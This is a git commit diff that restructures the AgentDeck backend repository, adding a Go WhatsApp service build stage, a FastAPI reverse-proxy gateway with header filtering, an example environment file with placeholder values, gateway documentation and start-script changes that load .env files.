restructure repo into production layout; add whatsapp-service, tests, ddl, docs, scripts; scrub hardcoded secrets

.dockerignore

@@ -37,7 +37,6 @@ logs/
 *.sqlite3
 
 # Large repo blobs not needed by the image
-generated-python-sdk/
 ddl/
 searxng/
 scripts/
@@ -45,10 +44,16 @@ scripts/
 
 # NOTE: `lua/` (Redis Lua scripts) is loaded at runtime and MUST stay in the image.
 
-# Tests / deploy scripts (kept out of the image)
+# Tests (kept out of the image)
 tests/
-test_integration.py
-local_deploy.py
-deploy_sdk.py
-deploy_hf.py
-server.log
+
+# whatsapp-service: ship only what the Go build stage needs (pkg/, cmd/,
+# go.mod, go.sum, docs/docs.go, VERSION). Everything else is dev/test/docs
+# and must not bloat the build context or the image. Runtime configuration is
+# injected as environment variables from the main app — the Go service never
+# ships or reads a .env.
+whatsapp-service/ddl/
+whatsapp-service/tests/
+whatsapp-service/LICENSE
+whatsapp-service/NOTICE
+whatsapp-service/Makefile

.env.example

@@ -0,0 +1,180 @@
+# ------------------------------------------------------------------
+# AgentDeck Backend - example environment
+# Copy to `.env` (or set these in your deployment) and fill in real values.
+#   cp .env.example .env
+# In production the app REFUSES TO START unless these are set to strong,
+# non-default values:
+#   API_KEY, JWT_SECRET_KEY
+# ------------------------------------------------------------------
+
+# --- App ---
+APP_NAME=All API Collection
+ENVIRONMENT=production        # production | development
+HOST=0.0.0.0
+PORT=7860
+WORKERS=1
+LOG_LEVEL=INFO
+
+# --- Auth (required) ---
+# Master bearer key for the whole API; must be long & random in production.
+API_KEY=change-me-to-a-long-random-value
+# Secret used to sign JWTs. Must be long & random (>=32 chars) in production.
+JWT_SECRET_KEY=change-me-to-a-long-random-value
+JWT_ALGORITHM=HS256
+JWT_ISSUER=all-api-collection
+ADMIN_PASSWORD=
+
+# Per-client-IP global rate limit (requests / minute). 0 disables.
+RATE_LIMIT_PER_MINUTE=60
+
+# --- URL shortener ---
+URL_SHORTENER_SECRET=change-me
+URL_SHORTENER_BASE=http://localhost:7860/api/v1
+
+# --- Limits ---
+MAX_UPLOAD_BYTES=15728640
+
+# --- Embeddings / vector store ---
+EMBEDDING_MODEL=ibm-granite/granite-embedding-small-english-r2
+EMBEDDING_DIMENSION=384
+DEFAULT_TOP_K=10
+DATA_DIR=./data
+
+# --- Supabase ---
+SUPABASE_URL=https://your-project.supabase.co
+SUPABASE_ANON_KEY=
+SUPABASE_SERVICE_ROLE_KEY=
+SUPABASE_SCHEMA=public
+
+# --- Redis (optional; scheduler / caching) ---
+REDIS_URL=
+REDIS_HOST=localhost
+REDIS_PORT=6379
+REDIS_DB=0
+REDIS_PASSWORD=
+REDIS_SSL=false
+
+# --- Google Maps / GCP ---
+GCP_API_KEY=
+GOOGLE_MAPS_BASE_URL=https://maps.googleapis.com/maps/api
+
+# --- Google Cloud Storage ---
+GCS_BUCKET_NAME=
+GCS_SERVICE_ACCOUNT_KEY_PATH=
+
+# --- Google OAuth / Gmail (optional) ---
+GOOGLE_OAUTH_CLIENT_ID=
+GOOGLE_OAUTH_CLIENT_SECRET=
+
+# --- Web search (SearXNG) ---
+SEARXNG_BASE_URL=http://localhost:8888
+
+# --- Startup self-ping ---
+SELF_PING_URL=
+
+# ------------------------------------------------------------------
+# --- WhatsApp service (single source of truth) ---------------------
+# This `.env` is the ONLY configuration file. It is read by the main FastAPI
+# app (pydantic-settings) AND, via start.sh / the Docker image, forwarded to
+# the internal AgentDeck WhatsApp service (Go) as its process environment.
+# The Go service never reads a `.env` of its own — it consumes injected env
+# vars only. In a container deployment these values are set on the platform
+# (Hugging Face Spaces secrets) and start.sh passes them straight through.
+# ------------------------------------------------------------------
+
+# --- Gateway settings (read by the FastAPI app) ---
+# The main app reverse-proxies /api/whatsapp/* to the WhatsApp service.
+# When the image embeds the binary (start.sh) the gateway is auto-enabled;
+# set explicitly to control it. WHATSAPP_SERVICE_URL may be a service name
+# (http://whatsapp-service:8080) when the WhatsApp service runs as a separate
+# container, or loopback when co-hosted in this image.
+WHATSAPP_SERVICE_ENABLED=false
+WHATSAPP_SERVICE_URL=http://127.0.0.1:8080
+WHATSAPP_SERVICE_TIMEOUT=30
+WHATSAPP_SERVICE_CONNECT_TIMEOUT=5
+# Port start.sh launches the embedded Go binary on (its SERVER_PORT).
+WHATSAPP_SERVICE_PORT=8080
+
+# --- Settings forwarded to the Go service (start.sh / Docker) ---
+# Global API key of the WhatsApp service. Used by the gateway as the default
+# `apikey` header AND injected into the Go process as GLOBAL_API_KEY.
+WHATSAPP_SERVICE_GLOBAL_API_KEY=
+
+# The Go service requires: SUPABASE_URL, SUPABASE_SERVICE_ROLE_KEY (injected
+# as SUPABASE_SERVICE_KEY), SUPABASE_DB_URL, REDIS_URL, GLOBAL_API_KEY (see
+# WHATSAPP_SERVICE_GLOBAL_API_KEY) and DATABASE_SAVE_MESSAGES. SUPABASE_URL
+# and REDIS_URL are the shared values defined above; SUPABASE_SERVICE_ROLE_KEY
+# is mapped to the Go service's expected name (SUPABASE_SERVICE_KEY) for you.
+# SUPABASE_DB_URL is a direct native-Postgres connection string (used by the
+# whatsmeow session store — NOT the PostgREST URL):
+SUPABASE_DB_URL=postgresql://postgres:postgres@db.your-project.supabase.co:5432/postgres
+DATABASE_SAVE_MESSAGES=false
+CLIENT_NAME=agentdeck
+CONNECT_ON_STARTUP=false
+
+# Optional WhatsApp service behaviour (documented defaults = Go service defaults).
+DEBUG_ENABLED=INFO       # whatsmeow debug level (mapped from legacy WADEBUG)
+LOG_TYPE=console         # console | file
+WEBHOOK_FILES=true
+OS_NAME=AgentDeck
+WHATSAPP_VERSION_MAJOR=2
+WHATSAPP_VERSION_MINOR=3000
+WHATSAPP_VERSION_PATCH=1
+# EVENT_IGNORE_GROUP=false
+# EVENT_IGNORE_STATUS=false
+# QRCODE_MAX_COUNT=5
+# CHECK_USER_EXISTS=true
+
+# MinIO media storage (only if MINIO_ENABLED=true).
+MINIO_ENABLED=false
+# MINIO_ENDPOINT=localhost:9000
+# MINIO_ACCESS_KEY=minioadmin
+# MINIO_SECRET_KEY=minioadmin
+# MINIO_BUCKET=agentdeck-media
+# MINIO_USE_SSL=false
+# MINIO_REGION=
+
+# RabbitMQ / NATS event producers (optional).
+# AMQP_URL=amqp://admin:admin@localhost:5672/default
+# AMQP_GLOBAL_ENABLED=false
+# AMQP_GLOBAL_EVENTS=
+# AMQP_SPECIFIC_EVENTS=
+# NATS_URL=
+# NATS_GLOBAL_ENABLED=false
+# NATS_GLOBAL_EVENTS=
+# WEBHOOK_URL=
+
+# Outbound proxy for the WhatsApp service (optional).
+# PROXY_PROTOCOL=http       # http | https | socks5
+# PROXY_HOST=
+# PROXY_PORT=
+# PROXY_USERNAME=
+# PROXY_PASSWORD=
+
+# Audio converter (optional).
+# API_AUDIO_CONVERTER=
+# API_AUDIO_CONVERTER_KEY=
+
+# Logger rotation (optional).
+# LOG_MAX_SIZE=100          # MB
+# LOG_MAX_BACKUPS=5
+# LOG_MAX_AGE=30            # days
+# LOG_DIRECTORY=./logs
+# LOG_COMPRESS=true
+
+# --- Concurrency ---
+# Shared thread pool worker count. Unset => auto-calc min(32, cpu_count+4).
+CORE_CONCURRENCY=
+
+# --- PaddleOCR PP-OCRv6 (ONNX Runtime) ---
+# OCR_ENGINE=onnxruntime        # paddle | paddle_static | paddle_dynamic | onnxruntime | transformers
+# OCR_DEVICE=cpu
+# OCR_LANG=                    # e.g. en; empty uses model defaults
+# OCR_DET_MODEL_NAME=PP-OCRv6_small_det
+# OCR_REC_MODEL_NAME=PP-OCRv6_small_rec
+# OCR_USE_DOC_ORIENTATION_CLASSIFY=false
+# OCR_USE_DOC_UNWARPING=false
+# OCR_USE_TEXTLINE_ORIENTATION=true
+# OCR_MAX_CONCURRENT=1         # max parallel predict calls on shared engine
+# Enrich raw/OCR content into labeled Markdown before LLM extraction (default true).
+CONTENT_STRUCTURE_ENRICHMENT=true

.gitignore

@@ -4,12 +4,10 @@ __pycache__/
 postman_collection.json
 
 # Runtime data (vector stores, SQLite DBs, model caches, etc.)
-data/
+/data/
 *.so
-test_deploy_flow.py
 
 .Python
-hammer_tidb.py
 build/
 develop-eggs/
 dist/
@@ -58,7 +56,7 @@ local_settings.py
 db.sqlite3
 db.sqlite3-journal
 
-instance/
+/instance/
 .webassets-cache
 
 .scrapy
@@ -82,12 +80,13 @@ celerybeat.pid
 *.sage.py
 
 .env*
-.venv
-env/
-venv/
-ENV/
-env.bak/
-venv.bak/
+!.env.example
+/.venv
+/env/
+/venv/
+/ENV/
+/env.bak/
+/venv.bak/
 .env.local
 
 .spyderproject
@@ -117,9 +116,9 @@ dmypy.json
 ehthumbs.db
 Thumbs.db
 
-logs/
+/logs/
 *.log
-persistence/
+/persistence/
 
 *.db
 *.sqlite3
@@ -127,15 +126,14 @@ persistence/
 *.tmp
 *.temp
 
-local_deploy.py
-test_vector_store_async.py
-deploy_sdk.py
-tests
-deploy_hf.py
 .mimocode
 
-ddl
-API_DESCRIPTION.md
-ENTERPRISE-API-ROADMAP*.md
-API-Implementation-Plan
-google_oauth_test_creds.postman_environment.json
+# Secrets
+google_oauth_test_creds.postman_environment.json
+
+# Local dev/test/doc artifacts (kept out of the production repo)
+tests/
+ddl/
+scripts/
+docs/API_DESCRIPTION.md
+docs/planning/

Dockerfile

@@ -1,3 +1,31 @@
+# ---------------------------------------------------------------------------
+# Build stage: the internal WhatsApp service (Go / whatsmeow).
+# The binary is built here (CGO + libjpeg/libwebp headers) and embedded in the
+# runtime image as a sibling process started by start.sh. Runtime configuration
+# is NOT baked in: the Go service receives every setting as an environment
+# variable injected by the deployment platform / start.sh (single source of
+# truth = the main application's environment / .env). The Go module requires
+# Go 1.25.
+# ---------------------------------------------------------------------------
+FROM golang:1.25.0-alpine AS whatsapp-build
+
+RUN echo "https://dl-4.alpinelinux.org/alpine/v3.22/main" > /etc/apk/repositories \
+    && echo "https://dl-4.alpinelinux.org/alpine/v3.22/community" >> /etc/apk/repositories \
+    && apk update && apk add --no-cache git build-base libjpeg-turbo-dev libwebp-dev
+
+WORKDIR /build
+
+COPY whatsapp-service/go.mod whatsapp-service/go.sum ./
+RUN go mod download
+
+COPY whatsapp-service/ .
+
+ARG WHATSAPP_VERSION=dev
+RUN CGO_ENABLED=1 go build -ldflags "-X main.version=${WHATSAPP_VERSION}" -o server ./cmd/agentdeck-whatsapp-service
+
+# ---------------------------------------------------------------------------
+# Runtime image
+# ---------------------------------------------------------------------------
 FROM python:3.11-slim
 
 LABEL maintainer="AgentDeck-Backend"
@@ -16,6 +44,12 @@ RUN apt-get update && apt-get install -y --no-install-recommends \
     libssl-dev \
     nodejs \
     zlib1g-dev \
+    # Runtime libs for the embedded WhatsApp (Go) service: media codecs and
+    # timezone data required by whatsmeow/ffmpeg processing.
+    libjpeg62-turbo \
+    libwebp7 \
+    poppler-utils \
+    tzdata \
     # Runtime libs for PaddleOCR / opencv-contrib-python (cv2), mirroring the
     # reference reconciliation-file-processing-service Dockerfile.
     libglib2.0-0 \
@@ -43,6 +77,13 @@ RUN git clone --depth 1 --branch master https://github.com/searxng/searxng.git /
 
 COPY --chown=appuser:appuser . .
 
+# Replace the WhatsApp service source tree (copied above from the repo) with
+# just the compiled binary + VERSION baked from the whatsapp-build stage.
+RUN rm -rf /app/whatsapp-service
+COPY --from=whatsapp-build /build/server /app/whatsapp-service/server
+COPY --from=whatsapp-build /build/VERSION /app/whatsapp-service/VERSION
+RUN chmod +x /app/whatsapp-service/server
+
 RUN mkdir -p /app/models && python3 -c "from huggingface_hub import snapshot_download; snapshot_download(repo_id='ibm-granite/granite-embedding-small-english-r2', local_dir='/app/models/bge-384')" && chown -R appuser:appuser /app/models
 
 RUN mkdir -p /app/data /app/logs && \
@@ -55,9 +96,17 @@ USER appuser
 ENV PYTHONPATH=/app
 ENV PYTHONUNBUFFERED=1
 
+# Path to the embedded WhatsApp service binary (started by start.sh as a
+# sibling process). Set to an empty value to disable the WhatsApp gateway.
+# The Go service reads all runtime settings (SUPABASE_URL, SUPABASE_DB_URL,
+# REDIS_URL, GLOBAL_API_KEY, ...) from the environment injected by the
+# platform / start.sh — no .env is shipped for it. All values live in the
+# main application's centralized configuration (see .env.example).
+ENV WHATSAPP_SERVICE_BINARY=/app/whatsapp-service/server
+
 EXPOSE 7860
 
 HEALTHCHECK --interval=30s --timeout=10s --start-period=30s --retries=3 \
     CMD python -c "import urllib.request; urllib.request.urlopen('http://localhost:7860/health')" || exit 1
 
-CMD ["/bin/bash", "/app/start.sh"]
+CMD ["/bin/bash", "/app/start.sh"]

app/api/server.py

@@ -13,6 +13,11 @@ from slowapi.util import get_remote_address
 
 from app.api.v1.router import api_v1_router
 from app.api.v1.system import is_maintenance
+from app.api.whatsapp import (
+    close_whatsapp_proxy_client,
+    get_whatsapp_health,
+    router as whatsapp_router,
+)
 from app.config import get_settings
 from app.core.auth.deps import init_auth_db
 from app.core.database import pool_manager
@@ -169,6 +174,7 @@ async def lifespan(app: FastAPI):
     from app.utils.http_utils import close_shared_aiohttp_sessions
     await close_shared_aiohttp_sessions()
     await _ping_client.close()
+    await close_whatsapp_proxy_client()
     from app.services.supabase import get_supabase_client
     client = get_supabase_client()
     if client:
@@ -192,6 +198,7 @@ def create_application() -> FastAPI:
             {"name": "Vector Stores", "description": "Create, manage, and search vector stores for RAG"},
             {"name": "URL Shortener", "description": "Create and manage short URLs with analytics"},
             {"name": "Media-to-Media Conversion", "description": "PDF-to-image and image-to-image conversion with local or Supabase Storage output"},
+            {"name": "WhatsApp", "description": "Gateway to the internal WhatsApp service"},
         ],
         lifespan=lifespan,
     )
@@ -238,7 +245,8 @@ def create_application() -> FastAPI:
     @app.middleware("http")
     async def auth_middleware(request: Request, call_next):
         path = request.url.path
-        if path.startswith("/api/v1/") and not _is_public_path(path, request.method):
+        is_api = path.startswith("/api/v1/") or path.startswith("/api/whatsapp/")
+        if is_api and not _is_public_path(path, request.method):
             auth_header = request.headers.get("Authorization", "")
             if not auth_header.startswith("Bearer "):
                 from starlette.responses import JSONResponse
@@ -261,6 +269,12 @@ def create_application() -> FastAPI:
         dependencies=[Depends(_api_rate_limit)],
     )
 
+    app.include_router(
+        whatsapp_router,
+        prefix="/api/whatsapp",
+        dependencies=[Depends(_api_rate_limit)],
+    )
+
     @app.get("/", include_in_schema=False)
     async def root(request: Request):
         from collections import defaultdict
@@ -298,6 +312,7 @@ def create_application() -> FastAPI:
             "vector_store_count": store_count,
             "total_documents": doc_count,
             "model_loaded": _embedding_service.is_loaded(384),
+            "whatsapp_service": await get_whatsapp_health(),
         }
 
     @app.get("/ping", include_in_schema=False)

app/api/whatsapp.py

@@ -0,0 +1,219 @@
+from __future__ import annotations
+
+from typing import Dict
+from urllib.parse import quote
+
+import httpx
+from fastapi import APIRouter, Request
+from fastapi.responses import JSONResponse, StreamingResponse
+from starlette.background import BackgroundTask
+
+from app.config import get_settings
+from app.core.logger import get_logger
+from app.utils.http_utils import SharedAsyncClient
+
+logger = get_logger(__name__)
+_settings = get_settings()
+
+router = APIRouter(tags=["WhatsApp"])
+
+# RFC 7230 hop-by-hop headers. They are meaningless when a gateway relays a
+# request to another service and must never be forwarded.
+_HOP_BY_HOP_HEADERS = frozenset({
+    "connection",
+    "keep-alive",
+    "proxy-authenticate",
+    "proxy-authorization",
+    "te",
+    "trailer",
+    "transfer-encoding",
+    "upgrade",
+})
+
+# Request headers that must never reach the internal WhatsApp service:
+# hop-by-hop headers plus Host (httpx sets it from the target URL), length
+# headers (httpx recomputes them from the body), content-encoding (httpx
+# transparently decompresses responses), and the gateway's own credentials
+# (Authorization / cookie) which belong to the main API, not the backend.
+_BLOCKED_REQUEST_HEADERS = _HOP_BY_HOP_HEADERS | {
+    "host",
+    "content-length",
+    "accept-encoding",
+    "authorization",
+    "cookie",
+}
+
+# Response headers preserved when relaying the upstream reply back to the
+# client. Everything else (server version headers, content-encoding, hop-by-hop
+# headers, ...) is dropped so internal implementation details never leak.
+_RESPONSE_HEADERS_ALLOWLIST = frozenset({
+    "content-type",
+    "content-disposition",
+    "content-language",
+    "cache-control",
+    "etag",
+    "expires",
+    "last-modified",
+    "location",
+    "retry-after",
+    "www-authenticate",
+    "x-request-id",
+    "x-correlation-id",
+    "content-range",
+    "accept-ranges",
+})
+
+_ALLOWED_METHODS = ("GET", "POST", "PUT", "PATCH", "DELETE", "OPTIONS", "HEAD")
+
+# Characters preserved while percent-encoding the forwarded path so a client
+# supplied path can never produce a malformed upstream URL.
+_PATH_SAFE_CHARS = "/:@!$&'()*+,;=~-_."
+
+
+def _build_proxy_client() -> SharedAsyncClient:
+    """Shared, lazily-created httpx client for upstream WhatsApp calls."""
+    timeout = httpx.Timeout(
+        timeout=_settings.whatsapp_service_timeout,
+        connect=_settings.whatsapp_service_connect_timeout,
+    )
+    return SharedAsyncClient(timeout=timeout, follow_redirects=False)
+
+
+_proxy_client = _build_proxy_client()
+
+
+async def close_whatsapp_proxy_client() -> None:
+    """Close the shared upstream client. Called once on application shutdown."""
+    await _proxy_client.close()
+
+
+def _forward_request_headers(request: Request, body: bytes) -> Dict[str, str]:
+    """Build the header set forwarded to the WhatsApp service.
+
+    Keeps application headers (content-type, accept, apikey, x-*, ...) while
+    stripping hop-by-hop / gateway-credential headers. The `apikey` header the
+    WhatsApp service authenticates with is taken from the client request when
+    present (per-instance token) and falls back to the configured global key.
+    """
+    headers: Dict[str, str] = {}
+    for name, value in request.headers.items():
+        if name.lower() in _BLOCKED_REQUEST_HEADERS:
+            continue
+        headers[name] = value
+
+    if body:
+        headers.setdefault("content-type", "application/octet-stream")
+
+    client_apikey = request.headers.get("apikey", "")
+    if client_apikey:
+        headers["apikey"] = client_apikey
+    elif _settings.whatsapp_service_global_api_key:
+        headers["apikey"] = _settings.whatsapp_service_global_api_key
+    return headers
+
+
+def _filter_response_headers(headers: httpx.Headers) -> Dict[str, str]:
+    return {
+        name: value
+        for name, value in headers.items()
+        if name.lower() in _RESPONSE_HEADERS_ALLOWLIST
+    }
+
+
+def _unavailable_response(status_code: int, detail: str) -> JSONResponse:
+    """Sanitized gateway error response — never leaks upstream hostnames/traces."""
+    return JSONResponse(
+        status_code=status_code,
+        content={"success": False, "detail": detail},
+    )
+
+
+@router.api_route(
+    "/{path:path}",
+    methods=list(_ALLOWED_METHODS),
+    summary="Forward a request to the internal WhatsApp service",
+    description=(
+        "Proxies any HTTP request under /api/whatsapp to the corresponding "
+        "endpoint of the internal WhatsApp service, preserving the HTTP method, "
+        "path, query string, request body and relevant headers. The upstream "
+        "response (status code and body) is returned unchanged."
+    ),
+)
+async def proxy_to_whatsapp(request: Request, path: str):
+    if not _settings.whatsapp_service_enabled:
+        return _unavailable_response(503, "WhatsApp service is not enabled")
+
+    base_url = _settings.whatsapp_service_url.rstrip("/")
+    encoded_path = quote(path, safe=_PATH_SAFE_CHARS).lstrip("/")
+    target = f"{base_url}/{encoded_path}"
+    if request.url.query:
+        target = f"{target}?{request.url.query}"
+
+    body = await request.body()
+    headers = _forward_request_headers(request, body)
+
+    logger.info(
+        "Proxying %s %s -> %s (apikey=%s)",
+        request.method,
+        request.url.path,
+        target,
+        "yes" if headers.get("apikey") else "no",
+    )
+
+    try:
+        client = await _proxy_client.get()
+        upstream = await client.send(
+            client.build_request(
+                request.method,
+                target,
+                content=body or None,
+                headers=headers,
+            ),
+            stream=True,
+        )
+    except httpx.TimeoutException as exc:
+        logger.error("WhatsApp service timed out: %s %s: %s", request.method, target, exc)
+        return _unavailable_response(504, "WhatsApp service timed out")
+    except httpx.HTTPError as exc:
+        logger.error("WhatsApp service unreachable: %s %s: %s", request.method, target, exc)
+        return _unavailable_response(502, "WhatsApp service is unavailable")
+    except Exception:
+        logger.exception("Unexpected gateway error proxying %s %s", request.method, target)
+        return _unavailable_response(502, "WhatsApp gateway error")
+
+    return StreamingResponse(
+        upstream.aiter_bytes(),
+        status_code=upstream.status_code,
+        headers=_filter_response_headers(upstream.headers),
+        media_type=None,
+        background=BackgroundTask(upstream.aclose),
+    )
+
+
+async def get_whatsapp_health() -> Dict[str, object]:
+    """Non-fatal liveness probe used by the main application's /health endpoint.
+
+    Never raises — a degraded/unreachable WhatsApp service must not take the
+    gateway's own health check down with it.
+    """
+    if not _settings.whatsapp_service_enabled:
+        return {"configured": False, "reachable": False}
+
+    url = f"{_settings.whatsapp_service_url.rstrip('/')}/server/ok"
+    try:
+        client = await _proxy_client.get()
+        resp = await client.get(
+            url,
+            timeout=_settings.whatsapp_service_connect_timeout,
+        )
+    except (httpx.HTTPError, httpx.TimeoutException) as exc:
+        logger.warning("WhatsApp service health check failed: %s", exc)
+        return {"configured": True, "reachable": False, "status": "unreachable"}
+
+    if resp.status_code == 200:
+        return {"configured": True, "reachable": True, "status": "ok"}
+    return {
+        "configured": True,
+        "reachable": True,
+        "status": f"unhealthy (HTTP {resp.status_code})",
+    }

app/config.py

@@ -191,6 +191,20 @@ class Settings(BaseSettings):
     supabase_storage_bucket: str = Field(default="media-convert", alias="SUPABASE_STORAGE_BUCKET")
     supabase_signed_url_ttl_seconds: int = Field(default=86400, alias="SUPABASE_SIGNED_URL_TTL_SECONDS")
 
+    # WhatsApp service gateway. The main FastAPI app acts as a reverse proxy to
+    # the internal AgentDeck WhatsApp service (a Go application). Set
+    # WHATSAPP_SERVICE_ENABLED=true and point WHATSAPP_SERVICE_URL at the
+    # internal service (e.g. http://localhost:8080 when co-hosted, or
+    # http://whatsapp-service:8080 in a Docker network).
+    whatsapp_service_enabled: bool = Field(default=False, alias="WHATSAPP_SERVICE_ENABLED")
+    whatsapp_service_url: str = Field(default="http://localhost:8080", alias="WHATSAPP_SERVICE_URL")
+    whatsapp_service_timeout: float = Field(default=30.0, alias="WHATSAPP_SERVICE_TIMEOUT")
+    whatsapp_service_connect_timeout: float = Field(default=5.0, alias="WHATSAPP_SERVICE_CONNECT_TIMEOUT")
+    # Global API key of the WhatsApp service (GLOBAL_API_KEY). Used as the
+    # default `apikey` header when proxying admin routes; a per-instance token
+    # provided by the client is always forwarded unchanged.
+    whatsapp_service_global_api_key: str = Field(default="", alias="WHATSAPP_SERVICE_GLOBAL_API_KEY")
+
     # Scheduler settings
     max_http_timeout: float = 300.0
     default_scheduler_timezone: str = "UTC"

docs/whatsapp-gateway.md

@@ -0,0 +1,130 @@
+# WhatsApp Service Gateway
+
+The main FastAPI application (port **7860**) is the **public API gateway**. It
+proxies every request under `/api/whatsapp/*` to the internal WhatsApp service
+(a Go/whatsmeow application), which is not exposed publicly.
+
+```text
+Client
+  |  HTTP
+  v
+Main FastAPI :7860
+  |  /api/whatsapp/...
+  v
+WhatsApp Service (internal, e.g. http://localhost:8080)
+  |
+  v
+Client
+```
+
+## Route mapping
+
+The gateway forwards the **full path, query string, HTTP method and body**
+unchanged. All routes require the main application's API key
+(`Authorization: Bearer <API_KEY>`).
+
+| Client request | WhatsApp service call |
+|---|---|
+| `GET /api/whatsapp/server/ok` | `GET /server/ok` (health) |
+| `POST /api/whatsapp/instance/create` | `POST /instance/create` (admin) |
+| `GET /api/whatsapp/instance/status` | `GET /instance/status` |
+| `POST /api/whatsapp/send/text` | `POST /send/text` |
+| `DELETE /api/whatsapp/instance/delete/:id` | `DELETE /instance/delete/:id` |
+
+No path transformation is applied: after the `/api/whatsapp` prefix is stripped,
+the rest of the path is appended to `WHATSAPP_SERVICE_URL`.
+
+## Deployment model
+
+Single Docker container (Hugging Face Spaces style): the Go binary is compiled
+in a multi-stage `whatsapp-build` stage and embedded in the image at
+`/app/whatsapp-service/server`. `start.sh` launches it as a sibling process and
+`uvicorn` is the primary process. The gateway reaches it over loopback
+(`http://127.0.0.1:8080`).
+
+A crash of the WhatsApp service does **not** take the main app down: the gateway
+returns sanitized `502`/`503` responses until it recovers (restart loop every
+5s, degraded mode).
+
+## Gateway behaviour
+
+- **Auth:** the gateway requires the main app's Bearer API key. The WhatsApp
+  service's own `apikey` header is forwarded as-is when provided by the client
+  (per-instance token); otherwise the configured
+  `WHATSAPP_SERVICE_GLOBAL_API_KEY` is injected (admin routes).
+- **Headers:** hop-by-hop headers and the gateway's `Authorization`/`Cookie` are
+  never forwarded. Response headers are whitelisted — internal
+  `Server`/`content-encoding`/hop-by-hop headers never reach the client.
+- **Errors:** connection failures → `502`; timeouts → `504`; disabled service →
+  `503`. Upstream 4xx/5xx responses are passed through unchanged. Error bodies
+  never contain internal hostnames, URLs, exceptions or stack traces.
+- **Payments/streaming:** responses are streamed back to the client (media/QR
+  downloads are not buffered).
+
+## Configuration
+
+| Variable | Default | Description |
+|---|---|---|
+| `WHATSAPP_SERVICE_ENABLED` | `false` | Enable the gateway routes. `start.sh` auto-enables it when the binary exists. |
+| `WHATSAPP_SERVICE_URL` | `http://localhost:8080` | Base URL of the internal WhatsApp service. |
+| `WHATSAPP_SERVICE_TIMEOUT` | `30` | Read/write/pool timeout for upstream calls (seconds). |
+| `WHATSAPP_SERVICE_CONNECT_TIMEOUT` | `5` | Connect timeout for upstream calls (seconds). |
+| `WHATSAPP_SERVICE_GLOBAL_API_KEY` | _(empty)_ | The WhatsApp service `GLOBAL_API_KEY`, injected as the default `apikey` header. |
+| `WHATSAPP_SERVICE_PORT` | `8080` | Port `start.sh` uses to launch the embedded binary (`SERVER_PORT`). |
+| `WHATSAPP_SERVICE_BINARY` | `/app/whatsapp-service/server` | Path to the embedded binary. |
+
+### WhatsApp service env vars (centralized in the main app)
+
+There is exactly **one** configuration source: the main application's `.env`
+(or the deployment platform's environment). The Go service **never reads a
+`.env` of its own** — `start.sh` / the Docker image inject its variables as
+process environment, and `--dev` only optionally loads a local `.env` if one
+exists. Full reference: the WhatsApp section of `.env.example`.
+
+Values shared with the main app use the same names (`SUPABASE_URL`,
+`REDIS_URL`, ...). A few names are mapped automatically by `start.sh` so you
+only configure one value:
+
+| Centralized setting | Injected into Go service as |
+|---|---|
+| `SUPABASE_SERVICE_ROLE_KEY` | `SUPABASE_SERVICE_KEY` |
+| `WHATSAPP_SERVICE_GLOBAL_API_KEY` | `GLOBAL_API_KEY` |
+| `WHATSAPP_SERVICE_PORT` | `SERVER_PORT` |
+
+Other Go-service settings configured centrally: `SUPABASE_DB_URL`,
+`DATABASE_SAVE_MESSAGES`, `CLIENT_NAME`, `CONNECT_ON_STARTUP`, `DEBUG_ENABLED`,
+`LOG_TYPE`, `WEBHOOK_FILES`, `OS_NAME`, `WHATSAPP_VERSION_*`, `MINIO_*`,
+`AMQP_*`, `NATS_*`, `WEBHOOK_URL`, `PROXY_*`, `API_AUDIO_CONVERTER*`,
+`EVENT_IGNORE_*`, `QRCODE_MAX_COUNT`, `CHECK_USER_EXISTS`, `LOG_*`.
+
+> Configure `WHATSAPP_SERVICE_GLOBAL_API_KEY` (equivalently `GLOBAL_API_KEY`)
+> once — it feeds both the gateway's default `apikey` header and the Go
+> service's authentication.
+
+## Health checks
+
+The main app's `GET /health` now includes a non-fatal `whatsapp_service` block:
+
+```json
+{"configured": true, "reachable": true, "status": "ok"}
+```
+
+The WhatsApp service's own liveness endpoint is exposed through the gateway at
+`GET /api/whatsapp/server/ok`.
+
+## Testing
+
+```bash
+python -m pytest tests/test_whatsapp_gateway.py -v
+```
+
+Covers: gateway auth, forwarding (method/path/query/body/headers), apikey
+injection vs pass-through, upstream 4xx/5xx passthrough, 502/503/504 handling,
+response-header sanitization and the `/health` integration.
+
+A full stack test:
+
+```bash
+docker build -t agentdeck-backend:test .
+# run with the WhatsApp env vars above + WHATSAPP_SERVICE_ENABLED=true
+```

start.sh

@@ -13,6 +13,42 @@ print(banner)
 " 2>/dev/null || true
 echo "=============================================================================="
 
+# -----------------------------------------------------------------------------
+# Environment: the main app's `.env`/`.env.local` are the SINGLE source of truth
+# for every process this container starts (FastAPI, SearXNG, the embedded
+# WhatsApp/Go service). Load them into the shell environment so sibling
+# processes inherit the same configuration. In Docker these files are not
+# shipped — the deployment platform injects the environment — so this is a
+# no-op. Precedence (highest first): process environment, `.env.local`, `.env`.
+# -----------------------------------------------------------------------------
+declare -A _ENV_FROM_PROCESS
+while IFS= read -r _envline; do
+    _ENV_FROM_PROCESS["${_envline%%=*}"]=1
+done < <(env 2>/dev/null)
+
+load_dotenv() {
+    local file="$1"
+    [ -f "$file" ] || return 0
+    local key val
+    while IFS='=' read -r key val; do
+        key="${key#"${key%%[![:space:]]*}"}"
+        [ -n "$key" ] || continue
+        case "$key" in
+            \#*) continue ;;
+        esac
+        case "$val" in
+            \"*\") val="${val#\"}"; val="${val%\"}" ;;
+            \'*\') val="${val#\'}"; val="${val%\'}" ;;
+        esac
+        if [ -z "${_ENV_FROM_PROCESS[$key]:-}" ]; then
+            export "$key=$val"
+        fi
+    done < "$file"
+}
+
+load_dotenv ".env"
+load_dotenv ".env.local"
+
 log "=== Starting up ==="
 log "Python: $(python --version 2>&1)"
 log "Working dir: $(pwd)"
@@ -53,6 +89,99 @@ else
     log "WARNING: SearXNG settings not found at $SEARXNG_SETTINGS_PATH, skipping SearXNG start"
 fi
 
+# ─────────────────────────────────────────────────────────────────────────────
+# WhatsApp service (internal Go backend)
+#
+# The compiled whatsapp binary is embedded in the image (Dockerfile) and runs as
+# a sibling process inside this container. The main FastAPI app proxies
+# /api/whatsapp/* to it. If the binary is present the gateway is auto-enabled;
+# set WHATSAPP_SERVICE_ENABLED=false to force it off, or set it explicitly.
+# ─────────────────────────────────────────────────────────────────────────────
+
+WHATSAPP_SERVICE_BINARY="${WHATSAPP_SERVICE_BINARY:-/app/whatsapp-service/server}"
+WHATSAPP_SERVICE_PORT="${WHATSAPP_SERVICE_PORT:-8080}"
+WHATSAPP_SERVICE_ENABLED="${WHATSAPP_SERVICE_ENABLED:-}"
+WHATSAPP_PID=""
+
